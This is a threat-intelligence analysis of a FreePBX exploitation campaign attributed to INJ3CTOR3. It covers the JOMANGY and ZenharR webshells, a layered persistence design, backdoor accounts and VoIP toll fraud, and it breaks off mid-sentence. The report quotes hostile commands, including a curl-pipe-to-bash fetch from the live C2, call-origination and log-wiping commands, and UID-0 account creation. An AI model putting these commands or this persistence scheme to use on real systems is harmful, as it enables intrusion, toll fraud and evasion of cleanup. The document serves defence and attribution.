Executive Summary Cyble Research & Intelligence Labs (CRIL) has identified an active FreePBX exploitation campaign, with high confidence tied to INJ3CTOR3, an actor with a documented history of targeting VoIP infrastructure for financial gain since 2019. The campaign deploys a multi-stage Bash dropper that introduces JOMANGY, a PHP webshell family with no prior public documentation, alongside ZenharR , previously attributed to the same actor lineage. Every deployed webshell instance carries live VoIP toll fraud code that routes calls through the victim's own SIP trunks at the victim's expense. A C2-hosted IP inventory of 3,080 addresses, assessed as scanner output from a co-located reconnaissance node, reflects the operational scale. Figure 1 – Campaign Architecture The persistence architecture distinguishes this generation from prior INJ3CTOR3 campaigns. Six independent channels protect each other, spanning cron-based C2 polling, shell profile injection, immutable crontab backups, a process watchdog, chattr +i-protected webshell copies, and a self-reinstalling PHP executor. Any single surviving channel is enough to re-establish the full infection within minutes. Partial remediation is, by design, functionally useless. The infection chain also drops 18 backdoor accounts across three tiers. Nine have UID-0 (root-equivalent) privileges, eight are service-tier OS accounts, and one is a FreePBX web panel account injected directly into MySQL. Account names are deliberately chosen to blend into the legitimate FreePBX service account inventory. Key Takeaways JOMANGY is a PHP webshell family with no prior public documentation (this analysis being its first description). Every deployed instance uses double-layer obfuscation (base64 over ROT13) and carries the watermark string 'trace_e1ebf9066a951be519a24140711839ea', tying all campaign webshells back to a single source. The campaign establishes six independent persistence channels that protect each other: cron-based C2 polling every one to three minutes; shell profile injection firing on root login and reboot; eight chattr +i-immutable crontab backups protected by two separate restore cron loops; a process watchdog that respawns the beacon; chattr +i-protected webshell copies; and a PHP executor with its own cron reinstallation logic. Any single surviving channel re-establishes the full infection within minutes. 18 backdoor accounts land across the infection chain in three tiers: nine UID-0 (root-equivalent) OS accounts, eight service-account-tier OS accounts, and one FreePBX web panel account injected directly into MySQL. Account names such as asterisk, asteriskuser, freepbxuser, and spamfilter are deliberately chosen to blend into the legitimate FreePBX service account inventory. All three deployed webshell instances carry live VoIP toll fraud code that places calls through the victim's own SIP trunks via asterisk -rx "channel originate Local/@". A C2-hosted IP address inventory (people2.txt, 3,080 entries, assessed as scanner output), with roughly 39% pointing at Alibaba Cloud-hosted infrastructure, highlights the operational scale. The Stage 1 dropper evicts 50+ webshell signatures and blocks 11 competitor C2 IPs bidirectionally, while simultaneously self-evicting every artifact from INJ3CTOR3's own January 2026 campaign, consistent with the operator migrating their active botnet from Brazilian to Dutch infrastructure between campaign generations. At the time of analysis, we were not able to recover the exploit payload and could not confirm the entry vector from artifacts alone. The artifacts point to two candidate CVEs with high confidence: CVE-2025-64328 (FreePBX filestore module post-auth command injection, the documented prior-campaign entry vector) and CVE-2025-57819 (FreePBX Endpoint module pre-auth SQL injection via cron_jobs, whose WatchTowr Labs PoC artifacts the Stage 1 dropper explicitly evicts). Six independent artifact overlaps (the unique marker string bm2cjjnRXac1WW3KT7k6MKTR, the INJ3CTOR3 actor name appearing explicitly as an eviction target, the prior C2 45.234.176.202 in the iptables block list, shared binary names and file paths, the newfpbx UID-0 backdoor account, and the MySQL ampusers insertion pattern) with Fortinet's January 2026 encystPHP report tie this campaign to INJ3CTOR3 , corroborated by Check Point Research (2020), Palo Alto Unit 42 (2022), and SANS ISC diary #32892 (2026-04-13). The C2 URL framework (/k.php, /z/wr.php, /z/post/root.php) has been in continuous operation since at least 2021. k.php (100259af)and wr.php (d40180f7) were absent from VirusTotal at the time of analysis. The primary dropper (b506fc82) had four detections across 76 engines. The operator actively rotates k.php content, which further degrades signature coverage over time. Attribution We attribute the JOMANGY campaign to INJ3CTOR3 with high confidence based on the following: The eviction routine names bm2cjjnRXac1WW3KT7k6MKTR as a grep target (the same unique marker Fortinet identified in the January 2026 encystPHP dropper) and also names INJ3CTOR3 directly as an eviction target in the same block. The rest of the Fortinet overlaps (prior C2 45[.]234[.]176[.]202 in the iptables block list, shared file paths and binary names, the newfpbx UID-0 backdoor, the MySQL ampusers pattern) confirm this. Unit 42 documented the same ZenharR toolset and identical C2 URL structure against the same actor in 2022. SANS ISC diary #32892 independently identified the current C2 and the shared password hash in April 2026. Check Point Research traced the same eviction targets, b3d0r and yokyok, to this actor's CVE-2019-19006 campaign in 2020. For anyone tracking this actor long-term, it is worth noting that Juba was explicitly deleted and evicted in the January 2026 dropper. Yet, the current Stage 1 resets its password without recreating the account. An operator working from someone else’s scripts would not know which dormant accounts to password-cycle. The motivation behind this is toll fraud, as in every generation of this campaign, since 2019. (See Figure 2) Figure 2 – JOMANGY Webshell Operator Panel Victimology and Target Profile The 3,080-IP inventory (people2.txt) is mostly APAC cloud: Alibaba Cloud, which spans China, Hong Kong, and Singapore, accounts for roughly 39%. The C2 was live during artifact collection, and the operator was actively updating the list between snapshots. The Elastix SQLite database theft (/var/www/db/acl.db) and the use of account names such as Issabel and Sangoma indicate that the operator is targeting every major PBX platform family across Latin America, Southeast Asia, and the Middle East. The 2 in people2.txt likely implies an earlier version of the list exists somewhere. Across 3,080 assessed entries, this is assessed as automated mass exploitation rather than a targeted campaign. (See Figure 3) Figure 3 – C2-hosted IP Inventory (people2.txt) Background VoIP toll fraud is one of the leading categories in a $41.82 billion global telecom fraud problem (CFCA, Global Fraud Loss Survey 2025 & [9]) that rarely makes it into mainstream security coverage. FreePBX and Asterisk deployments have been a consistent target for financially motivated actors for most of the last decade. A FreePBX host with working SIP trunks gives an attacker direct access to the victim's carrier accounts and the ability to originate calls at will. Toll fraud avoids the operational overhead of ransomware negotiations or finding a data buyer by having the operator route calls through premium-rate numbers (IPRNs) they control or sell capacity to third-party fraud networks and then have the victim's carrier send the bill. Internet-exposed FreePBX management interfaces number globally in the tens of thousands, with a large fraction running end-of-life releases and minimal host hardening. INJ3CTOR3 has been exploiting this attack surface continuously since at least 2019. Check Point Research documented the actor's CVE-2019-19006 campaign in 2020. Palo Alto Unit 42 followed with a ZenharR-deploying generation targeting CVE-2021-45461 in 2022. Fortinet then covered the January 2026 encystPHP iteration operating from C2 45[.]234[.]176[.]202. The Shadowserver Foundation tracked over 900 FreePBX instances that were actively compromised as of February 2026 and were tied to that campaign. By May 2026 (five months after public disclosure), 700+ remained compromised across North America, Europe, Asia, South America, Africa, and Oceania. That number reflects how genuinely difficult these infections are to clear. (See Figure 4) Figure 4 – Dashboard Victim overview (shadowserver.org) Shadowserver independently attributed the ongoing compromises to exploitation of CVE-2025-64328, the same CVE that emerges as a candidate for initial access in the current campaign. We collected the current generation in April 2026 from a Bash dropper still communicating with an active C2 at 45[.]95[.]147[.]178 (using artifacts from C2's web directory also referenced by SANS ISC diary #32892 ). Technical Analysis Initial Access Vector The earliest recovered artifact (Stage 1, b506fc82) is already executing on the victim system. No exploit payload or HTTP server access logs were recovered, so the initial entry point was not confirmed. However, two CVEs emerge as high-confidence candidates, each tied to a distinct forensic indicator in the samples. Every stage from Stage 1 through the license.php executor includes a line that scrubs Apache httpd logs of entries containing the string "restapps" (sed -i '/restapps/d'). The JOMANGY webshell cleanup routine also explicitly targets file patterns associated with WatchTowr Labs' CVE-2025-57819 proof-of-concept. Files matching -watchTowr-.php are searched for and deleted. Both patterns are confirmed in the sample. What they imply about the initial access vector is assessed, not confirmed. (See Figure 5) Figure 5 – Initial Access Suspects CVE-2025-64328 is a post-authentication command-injection vulnerability in the FreePBX filestore module, affecting versions 17.0.2.36 through 17.0.3, and patched in 17.0.3 (CVSS 8.6, FreePBX advisory ). CISA added it to the KEV (Known Exploited Vulnerabilities) catalog in February 2026 following Shadowserver Foundation reporting of approximately 900 compromised instances beginning in December 2025. Fortinet documented CVE-2025-64328 as the entry vector for the January 2026 prior encystPHP campaign operating from C2 45[.]234[.]176[.]202, the same prior campaign whose artifacts the current dropper systematically evicts. That direct lineage makes it a strong candidate for campaign continuity. There is a caveat, though. CVE-2025-64328 operates through the filestore module at HTTP path /admin/ajax.php?module=filestore&command=testconnection. The restapps log scrubbing present throughout every stage of the current campaign does not correspond to this module's exploitation path and therefore, cannot be read as evidence of CVE-2025-64328 here. That restapps log-scrubbing is better understood as a legacy behavioral artifact the actor has carried across every campaign generation since 2022, when CVE-2021-45461 (the Rest Phone Apps module RCE documented by Unit 42 ) served as the prior-generation entry vector and introduced ZenharR) persists as a carry-forward into the current campaign. This behavioral continuity is analytically useful for long-term actor tracking, but it does not constrain the current entry vector assessment. CVE-2025-64328 and CVE-2025-57819 remain the high-confidence candidates for the current campaign. CVE-2025-57819 is a pre-authentication SQL injection vulnerability in the FreePBX Endpoint module. WatchTowr Labs documented active exploitation beginning September 2025, through a mechanism that inserts a malicious entry into the Endpoint module's cron_jobs database table, causing FreePBX's internal scheduler to execute arbitrary OS commands at one-minute intervals, a mechanism architecturally identical to this campaign's own cron-persistence model ( WatchTowr Labs CVE-2025-57819 proof-of-concept ). The pre-authentication nature is consistent with mass automated exploitation across a 3,080-entry assessed target inventory. The architecture presents an additional indicator: the prior encystPHP dropper (71d94479) explicitly disabled the Endpoint module ( chmod 000 endpoint/ajax.php ) and ( fwconsole ma uninstall endpoint , fwconsole ma delete endpoint ). (See Figure 6) Figure 6 – Disable Endpoint Module (EncystPHP) The current campaign does not disable the Endpoint module. If CVE-2025-57819 was the entry vector, disabling the module eliminates the entry path itself. An operator who still needs the module active for exploitation would leave it running. Therefore, we treat this architectural inference as the strongest available evidence linking CVE-2025-57819 to the current campaign. Campaign Architecture and Staging The infection chain runs across three Bash payload stages, with license.php serving as a PHP executor component written to disk by those stages rather than fetched directly from the C2. Stage 1 (b506fc82) is the initial Bash dropper where a concurrent re-run variant (/x) re-applies the same host-takeover behaviors on already-owned hosts and is treated as part of Stage 1 rather than a separate stage. Stage 2 (k.php) deploys the JOMANGY webshell family and is the first one to write license.php to disk. Stage 3 (wr.php, d40180f7) is a ZenharR dropper that forms a second cron download track running in parallel with k.php. wor.php (995e6304) is a second ZenharR dropper hosted at /z/wor.php on the C2. It was recovered from the C2 artifact dump, but has no trigger identified in any executed payload in the recovered artifact chain. license.php is a PHP command executor invoked via the FreePBX HA hook; it executes between Stage 2 and Stage 3 in the chain, then again after Stage 3 rewrites it. (See Figure 1 for the campaign architecture flow) Stage-by-Stage Payload Analysis Stage 1: Bash Dropper (23,355 bytes, b506fc82) The dropper runs in a deliberate order. Competitor eviction goes first, followed by credential implantation and persistence installation, with log destruction last. Running eviction up front clears competing implants and defensive tooling before the operator's own infrastructure lands, shrinking the window where both sides' webshells coexist on the same host. It deletes previously placed download artifacts (devnull24, devnull23, devnull2, and prior campaign iteration artifacts, as confirmed by naming patterns). Lines 15-19 handle two things in parallel: A blanket userdel loop which removes all non-root accounts with UID 0 or UID >= 1000, A MySQL INSERT establishes the FreePBX web panel backdoor for account freepbxusers with admin-level access (sections=) and password SHA1 hash 6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9. Then it runs the bulk competitor webshell eviction, searching /var/www/html/ and /var/www/ for approximately 50 named webshell signatures and deleting matching PHP files. (See Figure 7) Figure 7 – Backdooring & Webshell Eviction Credential implantation runs in two tiers. Lines 262-264 decode and execute three base64-obfuscated useradd commands that create UID-0 accounts newfpbxs, newfpbx, and xhimax with the shared MD5-crypt password hash. Lines 292-298 create seven more UID-0 accounts in plaintext: centos, admin, support, issabel, sangoma, emo, and xhimax (a redundant second creation of xhimax). It creates eight non-UID-0 accounts (sugarmaint, spamfilter, asteriskuser, supports, freepbxuser, supermaint, asterisk, and hima), all sharing the same MD5-crypt password hash, and applies (Lines 312-321) the same hash to ten accounts, including root itself, via chpasswd -e. (See Figure 8) Figure 8 – Credential Implantation Stage 1 installs persistence across two active tracks. The first is recurring cron polling of k.php every one to three minutes. The second is a shell profile stager appended to /root/.bash_profile, /root/.bashrc, and /etc/rc.local, which run on every root login and system reboot. Lines 272-278 also execute a one-time phone-home to the C2 root index (http://45[.]95[.]147[.]178/) immediately on first run, separate from the cron infrastructure and effective even if the cron subsystem is blocked at execution time. The active crontab is written to eight hidden, chattr +i-immutable backup paths using system-mimicking directory names, protected by two independent restore loops and a process watchdog. Stage 1 deploys no webshells. That work is deferred entirely to Stage 2, an intentional departure from the prior encystPHP generation, which wrote the webshell directly from the initial dropper. The full per-channel breakdown (including self-healing mechanism) is covered in the Persistence Mechanisms section below. (See Figure 9) Figure 9 – Cron Polling for k.php The dropper closes with SSH hardening and log wiping. (See Figure 10) Figure 10 – SSH Hardening & Log Wipe Stage 2: k.php (100259af, approximately 45KB, Bash) It opens by fetching and executing /x via curl (curl http://45[.]95[.]147[.]178/x -ks | bash), re-applying the Stage 1 host-takeover behaviors before any webshell deployment begins. Line 3 decodes a base64 blob and writes it to /var/www/html/admin/views/ajax.php , the FreePBX admin AJAX endpoint, and a high-traffic legitimate file that provides cover for the webshell. Lines 15-25 copy the same blob to more than ten additional paths across the FreePBX web tree, including /var/www/html/h.php, /var/www/html/rest_phones/ajax.php, /var/www/html/admin/modules/h/ (ajax.php, config.php, index.php), and subdirectories under fpbxphones/ and phones/. Lines 27-28 write an .htaccess rewrite rule (RewriteEngine On; RewriteRule . config.php), so any request to an unrecognized path within those directories lands on a webshell copy. Lines 7-8 reinstall the MySQL ampusers backdoor using the same DELETE + INSERT pattern as Stage 1, replanting the freepbxusers web panel account every time k.php executes. Lines 9-10 redundantly repeat the useradd invocations for newfpbx and xhimax. Lines 29-30 apply chattr +i to the primary webshell files. Lines 31-32 execute a base64-decoded tryRoot1.sh shell script (run twice redundantly), which writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks. The operator rotates k.php actively. The artifact collected (100259af, ~45KB) and the VT URL last-fetch variant (49abb105, retrieved 2026-04-29) are distinct, which suggests that what a victim receives from k.php at any given moment may differ from what was analyzed here. (See Figure 11) Figure 11 – k.php The PHP webshell blob is double-obfuscated: an outer base64 layer encodes a PHP string that, when decoded, applies str_rot13() to a second encoded layer before passing the result to eval(). Once decoded, the webshell presents a form with , the identifier establishing this as the JOMANGY family. The outer PHP wrapper includes dead-code AV evasion and a watermark comment,/* trace_e1ebf9066a951be519a24140711839ea */, which appears in each deployed instance, tying deployments in this campaign to a single common source. (See Figure 12) Figure 12 – Embedded JOMANGY webshell Stage 3: wr.php (d40180f7, 27KB, Bash) wr.php mirrors the k.php structure but targets a different primary webshell path set and deploys the ZenharR family. It opens with the same concurrent dropper execution (curl http://45[.]95[.]147[.]178/x -ks | bash), then writes a ZenharR webshell blob to two paths simultaneously via tee: /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/some.php . The subsequent 15 cp commands (lines 4 and 16–29) copy from /var/www/html/admin/views/ajax.php , which at this point contains the JOMANGY webshell placed by k.php, to 15 additional some.php paths across the FreePBX web tree. These copies, therefore, propagat